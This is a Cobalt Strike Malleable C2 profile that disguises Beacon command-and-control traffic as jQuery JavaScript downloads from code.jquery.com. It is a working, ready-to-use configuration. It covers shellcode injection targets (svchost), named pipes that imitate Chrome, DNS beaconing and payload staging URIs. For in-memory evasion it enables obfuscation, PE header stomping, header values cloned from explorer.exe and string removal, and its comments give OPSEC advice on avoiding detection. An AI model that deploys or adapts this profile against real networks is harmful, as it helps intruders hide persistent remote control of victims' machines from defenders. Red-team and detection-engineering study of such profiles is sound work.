# Malleable C2 Profile # Version: CobaltStrike 3.11 # File: jquery-c2.3.11.profile # Description: # c2 profile attempting to mimic a jquery.js request # uses signed certificates (typically from Let's Encrypt) # or self-signed certificates # Authors: @joevest, @andrewchiles, @001SPARTaN ################################################ ## Tips for Profile Parameter Values ################################################ ## Parameter Values ## Enclose parameter in Double quote, not single ## set useragent "SOME AGENT"; GOOD ## set useragent 'SOME AGENT'; BAD ## Some special characters do not need escaping ## prepend "!@#$%^&*()"; ## Semicolons are ok ## prepend "This is an example;"; ## Escape Double quotes ## append "here is \"some\" stuff"; ## Escape Backslashes ## append "more \\ stuff"; ## HTTP Values ## Program .http-post.client must have a compiled size less than 252 bytes. ################################################ ## Profile Name ################################################ ## Description: ## The name of this profile (used in the Indicators of Compromise report) ## Defaults: ## sample_name: My Profile ## Guidelines: ## - Choose a name that you want in a report set sample_name "jQuery Profile"; ################################################ ## Sleep Times ################################################ ## Description: ## Timing between beacon check in ## Defaults: ## sleeptime: 60000 ## jitter: 0 ## Guidelines: ## - Beacon Timing (1000 = 1 sec) ## - Consider using odd jitter time so the time doesn't loop back on itself (not verified as a technique) ## - 23, 29, 31, 37, 41, 43, 47, 53, 59, 61, 67 set sleeptime "60000"; # 1 Minute #set sleeptime "300000"; # 5 Minutes #set sleeptime "6000000"; # 10 Minutes #set sleeptime "9000000"; # 15 Minutes #set sleeptime "1200000"; # 20 Minutes #set sleeptime "1800000"; # 30 Minutes #set sleeptime "3600000"; # 1 Hours set jitter "37"; # % jitter ################################################ ## User-Agent ################################################ ## Description: ## User-Agent string used in HTTP requests ## Defaults: ## useragent: Internet Explorer (Random) ## Guidelines ## - Use a User-Agent values that fits with your engagement #set useragent "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 7.0; InfoPath.3; .NET CLR 3.1.40767; Trident/6.0; en-IN)"; # IE 10 set useragent "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; # MS IE 11 User Agent ################################################ ## SSL CERTIFICATE ################################################ ## Description: ## Signed or self-signed TLS/SSL Certifcate used for C2 communication using an HTTPS listener ## Defaults: ## All certificate values are blank ## Guidelines: ## - Best Option - Use a certifcate signed by a trusted certificate authority ## - Ok Option - Create your own self signed certificate ## - Option - Set self-signed certificate values https-certificate { ## Option 1) Trusted and Signed Certificate ## Use keytool to create a Java Keystore file. ## Refer to https://www.cobaltstrike.com/help-malleable-c2#validssl ## or https://github.com/killswitch-GUI/CobaltStrike-ToolKit/blob/master/HTTPsC2DoneRight.sh ## Option 2) Create your own Self-Signed Certificate ## Use keytool to import your own self signed certificates #set keystore "/pathtokeystore"; #set password "password"; ## Option 3) Cobalt Strike Self-Signed Certificate set C "US"; set CN "jquery.com"; set O "jQuery"; set OU "Certificate Authority"; set validity "365"; } ################################################ ## SpawnTo Process ################################################ ## Description: ## Default x86/x64 program to open and inject shellcode into ## Defaults: ## spawnto_x86: %windir%\syswow64\rundll32.exe ## spawnto_x64: %windir%\sysnative\rundll32.exe ## Guidelines ## - OPSEC WARNING!!!! The spawnto in this example will contain identifiable command line strings ## - sysnative for x64 and syswow64 for x86 ## - Example x64 : C:\WINDOWS\sysnative\w32tm.exe ## Example x86 : C:\WINDOWS\syswow64\w32tm.exe ## - The binary doesnt do anything wierd (protected binary, etc) ## - !! Don't use these !! ## - "csrss.exe","logoff.exe","rdpinit.exe","bootim.exe","smss.exe","userinit.exe","sppsvc.exe" ## - A binary that executes without the UAC ## - 64 bit for x64 ## - 32 bit for x86 set spawnto_x86 "%windir%\\syswow64\\svchost.exe -k netsvcs"; set spawnto_x64 "%windir%\\sysnative\\svchost.exe -k netsvcs"; ################################################ ## SMB beacons ################################################ ## Description: ## Peer-to-peer beacon using SMB for communication ## Defaults: ## pipename: msagent_## ## pipename_stager: status_## ## Guidelines: ## - Do not use an existing namedpipe, Beacon doesn't check for conflict! ## - the ## is replaced with a number unique to a teamserver ## --------------------- #set pipename "wkssvc_##"; #set pipename_stager "spoolss_##"; set pipename "mojo.5688.8052.183894939787088877##"; # Common Chrome named pipe set pipename_stager "mojo.5688.8052.35780273329370473##"; # Common Chrome named pipe ################################################ ## DNS beacons ################################################ ## Description: ## Beacon that uses DNS for communication ## Defaults: ## maxdns: 255 ## dns_idle: 0.0.0.0 ## dns_max_txt: 252 ## dns_sleep: 0 ## dns_stager_prepend: N/A ## dns_stager_subhost: .stage.123456. ## dns_ttl: 1 ## Guidelines: ## - DNS beacons generate a lot of DNS request. DNS beacon are best used as low and slow back up C2 channels set maxdns "255"; set dns_max_txt "252"; set dns_idle "74.125.196.113"; #google.com (change this to match your campaign) set dns_sleep "0"; # Force a sleep prior to each individual DNS request. (in milliseconds) set dns_stager_prepend ".resources.123456."; set dns_stager_subhost ".feeds.123456."; ################################################ ## Staging process ################################################ ## Description: ## Malleable C2's http-stager block customizes the HTTP staging process ## Defaults: ## uri_x86 Random String ## uri_x64 Random String ## HTTP Server Headers - Basic HTTP Headers ## HTTP Client Headers - Basic HTTP Headers ## Guidelines: ## - Add customize HTTP headers to the HTTP traffic of your campaign ## - Note: Data transform language not supported in http stageing (mask, base64, base64url, etc) set host_stage "true"; # Host payload for staging over HTTP, HTTPS, or DNS. Required by stagers.set http-stager { set uri_x86 "/jquery-3.3.1.slim.min.js"; set uri_x64 "/jquery-3.3.2.slim.min.js"; server { header "Server" "NetDNA-cache/2.2"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Accept-Language" "en-US,en;q=0.5"; header "Host" "code.jquery.com"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; } } ################################################ ## Memory Indicators ################################################ ## Description: ## The stage block in Malleable C2 profiles controls how Beacon is loaded into memory and edit the content of the Beacon DLL. ## Values: ## checksum 0 The CheckSum value in Beacon's PE header ## cleanup false Ask Beacon to attempt to free memory associated with the Reflective DLL package that initialized it. ## compile_time 14 July 2009 8:14:00 The build time in Beacon's PE header ## entry_point 92145 The EntryPoint value in Beacon's PE header ## image_size_x64 512000 SizeOfImage value in x64 Beacon's PE header ## image_size_x86 512000 SizeOfImage value in x86 Beacon's PE header ## module_x64 xpsservices.dll Same as module_x86; affects x64 loader ## module_x86 xpsservices.dll Ask the x86 ReflectiveLoader to load the specified library and overwrite its space instead of allocating memory with VirtualAlloc. ## name beacon.x64.dll The Exported name of the Beacon DLL ## obfuscate false Obfuscate the Reflective DLL's import table, overwrite unused header content, and ask ReflectiveLoader to copy Beacon to new memory without its DLL headers. ## rich_header Meta-information inserted by the compiler ## stomppe true Ask ReflectiveLoader to stomp MZ, PE, and e_lfanew values after it loads Beacon payload ## userwx false Ask ReflectiveLoader to use or avoid RWX permissions for Beacon DLL in memory ## Guidelines: ## - Modify the indicators to minimize in memory indicators # - Refer to ## https://blog.cobaltstrike.com/2018/02/08/in-memory-evasion/ ## https://www.youtube.com/playlist?list=PL9HO6M_MU2nc5Q31qd2CwpZ8J4KFMhgnK stage { set userwx "false"; set stomppe "true"; set obfuscate "true"; set name "srv.dll"; set cleanup "true"; # Values captured using peclone agaist a Windows 10 version of explorer.exe set checksum "0"; set compile_time "11 Nov 2016 04:08:32"; set entry_point "650688"; set image_size_x86 "4661248"; set image_size_x64 "4661248"; set rich_header "\x3e\x98\xfe\x75\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x7a\xf9\x90\x26\x73\x81\x03\x26\xfc\xf9\x90\x26\x17\xa4\x93\x27\x79\xf9\x90\x26\x7a\xf9\x91\x26\x83\xfd\x90\x26\x17\xa4\x91\x27\x65\xf9\x90\x26\x17\xa4\x95\x27\x77\xf9\x90\x26\x17\xa4\x94\x27\x6c\xf9\x90\x26\x17\xa4\x9e\x27\x56\xf8\x90\x26\x17\xa4\x6f\x26\x7b\xf9\x90\x26\x17\xa4\x92\x27\x7b\xf9\x90\x26\x52\x69\x63\x68\x7a\xf9\x90\x26\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"; ## WARNING: Module stomping # Cobalt Strike 3.11 also adds module stomping to Beacon's Reflective Loader. When enabled, Beacon's loader will shun VirtualAlloc and instead load a DLL into the current process and overwrite its memory. # Set module_x86 to a favorite x86 DLL to module stomp with the x86 Beacon. The module_x64 option enables this for the x64 Beacon. # While this is a powerful feature, caveats apply! If the library you load is not large enough to host Beacon, you will crash Beacon's process. If the current process loads the same library later (for whatever reason), you will crash Beacon's process. Choose carefully. # By default, Beacon's loader allocates memory with VirtualAlloc. Module stomping is an alternative to this. Set module_x86 to a DLL that is about twice as large as the Beacon payload itself. Beacon's x86 loader will load the specified DLL, find its location in memory, and overwrite it. This is a way to situate Beacon in memory that Windows associates with a file on disk. It's important that the DLL you choose is not needed by the applications you intend to reside in. The module_x64 option is the same story, but it affects the x64 Beacon. # Details can be found in the In-memory Evasion video series. https://youtu.be/uWVH9l2GMw4 # set module_x64 "netshell.dll"; # set module_x86 "netshell.dll"; # The transform-x86 and transform-x64 blocks pad and transform Beacon's Reflective DLL stage. These blocks support three commands: prepend, append, and strrep. transform-x86 { # transform the x86 rDLL stage prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops strrep "ReflectiveLoader" "execute"; # Change this text strrep "This program cannot be run in DOS mode" ""; # Remove this text strrep "beacon.dll" ""; # Remove this text } transform-x64 { # transform the x64 rDLL stage prepend "\x90\x90\x90\x90\x90\x90\x90\x90\x90"; # prepend nops strrep "ReflectiveLoader" "execute"; # Change this text strrep "beacon.x64.dll" ""; # Remove this text } stringw "jQuery"; # Add string to binary } ################################################ ## HTTP GET ################################################ ## Description: ## GET is used to poll teamserver for tasks ## Defaults: ## uri "/activity" ## Headers (Sample) ## Accept: */* ## Cookie: CN7uVizbjdUdzNShKoHQc1HdhBsB0XMCbWJGIRF27eYLDqc9Tnb220an8ZgFcFMXLARTWEGgsvWsAYe+bsf67HyISXgvTUpVJRSZeRYkhOTgr31/5xHiittfuu1QwcKdXopIE+yP8QmpyRq3DgsRB45PFEGcidrQn3/aK0MnXoM= ## User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1) ## Guidelines: ## - Add customize HTTP headers to the HTTP traffic of your campaign ## - Analyze sample HTTP traffic to use as a reference http-get { set uri "/jquery-3.3.1.min.js"; set verb "GET"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Host" "code.jquery.com"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; metadata { base64url; prepend "__cfduid="; header "Cookie"; } } server { header "Server" "NetDNA-cache/2.2"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { mask; base64url; ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } } ################################################ ## HTTP POST ################################################ ## Description: ## POST is used to send output to the teamserver ## Can use HTTP GET or POST to send data ## Note on using GET: Beacon will automatically chunk its responses (and use multiple requests) to fit the constraints of an HTTP GET-only channel. ## Defaults: ## uri "/activity" ## Headers (Sample) ## Accept: */* ## Cookie: CN7uVizbjdUdzNShKoHQc1HdhBsB0XMCbWJGIRF27eYLDqc9Tnb220an8ZgFcFMXLARTWEGgsvWsAYe+bsf67HyISXgvTUpVJRSZeRYkhOTgr31/5xHiittfuu1QwcKdXopIE+yP8QmpyRq3DgsRB45PFEGcidrQn3/aK0MnXoM= ## User-Agent Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1) ## Guidelines: ## - Decide if you want to use HTTP GET or HTTP POST requests for this section ## - Add customize HTTP headers to the HTTP traffic of your campaign ## - Analyze sample HTTP traffic to use as a reference ## Use HTTP POST for http-post section ## Uncomment this Section to activate http-post { set uri "/jquery-3.3.2.min.js"; set verb "POST"; client { header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Host" "code.jquery.com"; header "Referer" "http://code.jquery.com/"; header "Accept-Encoding" "gzip, deflate"; id { mask; base64url; parameter "__cfduid"; } output { mask; base64url; print; } } server { header "Server" "NetDNA-cache/2.2"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { mask; base64url; ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # 2nd Line prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; print; } } } ## Use HTTP GET for http-post section ## Uncomment this Section to activate # http-post { # set uri "/jquery-3.3.2.min.js"; # set verb "GET"; # client { # header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; # header "Host" "code.jquery.com"; # header "Referer" "http://code.jquery.com/"; # header "Accept-Encoding" "gzip, deflate"; # id { # mask; # base64url; # parameter "__cfduid"; # } # output { # mask; # base64url; # parameter "__tg"; # } # } # server { # header "Server" "NetDNA-cache/2.2"; # header "Cache-Control" "max-age=0, no-cache"; # header "Pragma" "no-cache"; # header "Connection" "keep-alive"; # header "Content-Type" "application/javascript; charset=utf-8"; # output { # mask; # base64url; # ## The javascript was changed. Double quotes and backslashes were escaped to properly render (Refer to Tips for Profile Parameter Values) # # 2nd Line # prepend "!function(e,t){\"use strict\";\"object\"==typeof module&&\"object\"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error(\"jQuery requires a window with a document\");return t(e)}:t(e)}(\"undefined\"!=typeof window?window:this,function(e,t){\"use strict\";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return\"function\"==typeof t&&\"number\"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement(\"script\");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+\"\":\"object\"==typeof e||\"function\"==typeof e?l[c.call(e)]||\"object\":typeof e}var b=\"3.3.1\",w=function(e,t){return new w.fn.init(e,t)},T=/^[\\s\\uFEFF\\xA0]+|[\\s\\uFEFF\\xA0]+$/g;w.fn=w.prototype={jquery:\"3.3.1\",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b=\"sizzle\"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n0?this.on(t,null,e,n):this.trigger(t)}}),w.fn.extend({hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),w.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,\"**\"):this.off(t,e||\"**\",n)}}),w.proxy=function(e,t){var n,r,i;if(\"string\"==typeof t&&(n=e[t],t=e,e=n),g(e))return r=o.call(arguments,2),i=function(){return e.apply(t||this,r.concat(o.call(arguments)))},i.guid=e.guid=e.guid||w.guid++,i},w.holdReady=function(e){e?w.readyWait++:w.ready(!0)},w.isArray=Array.isArray,w.parseJSON=JSON.parse,w.nodeName=N,w.isFunction=g,w.isWindow=y,w.camelCase=G,w.type=x,w.now=Date.now,w.isNumeric=function(e){var t=w.type(e);return(\"number\"===t||\"string\"===t)&&!isNaN(e-parseFloat(e))},\"function\"==typeof define&&define.amd&&define(\"jquery\",[],function(){return w});var Jt=e.jQuery,Kt=e.$;return w.noConflict=function(t){return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});"; # print; # } # } # }